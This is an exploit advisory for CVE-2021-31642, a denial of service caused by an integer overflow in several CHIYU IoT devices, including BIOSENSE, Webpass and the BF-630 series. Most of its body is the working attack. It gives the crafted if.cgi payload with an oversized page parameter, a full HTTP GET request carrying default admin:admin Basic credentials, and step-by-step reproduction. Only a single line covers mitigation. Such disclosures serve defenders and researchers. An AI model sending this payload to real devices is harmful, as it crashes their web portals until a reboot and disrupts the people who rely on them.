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CHIYU IoT Denial Of Service

CHIYU IoT Denial Of Service
Posted Jun 3, 2021
Authored by sirpedrotavares

CHIYU IoT devices suffer from an integer overflow denial of service vulnerability. Affected devices include BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC with firmware versions prior to June 2021.

tags | exploit, denial of service, overflow
advisories | CVE-2021-31642
SHA-256 | 369646f20627c73fcfc4b1175de5a5c27aedb1a01b4addefab4dce955c086e87

CHIYU IoT Denial Of Service

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# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
# Date: 01/06/2021
# Exploit Author: sirpedrotavares
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
# Software Link: https://www.chiyu-tech.com/category-hardware.html
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
# CVE: CVE-2021-31642
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks

Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
CVE ID: CVE-2021-31642
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642

Affected parameter: page=Component: if.cgi
Payload:
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000

====HTTP request======
GET
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Referer: http://127.0.0.1/AccLog.htm
Cookie: fresh=
Upgrade-Insecure-Requests: 1



Steps to reproduce:
1. Navigate to the vulnerable device
2. Make a GET request to the CGI component (if.cgi)
3. Append the payload at the end of the vulnerable parameter (page)
4. Submit the request and observe payload execution


Mitigation: The latest version of the CHIYU firmware should be installed
to mitigate this vulnerability.
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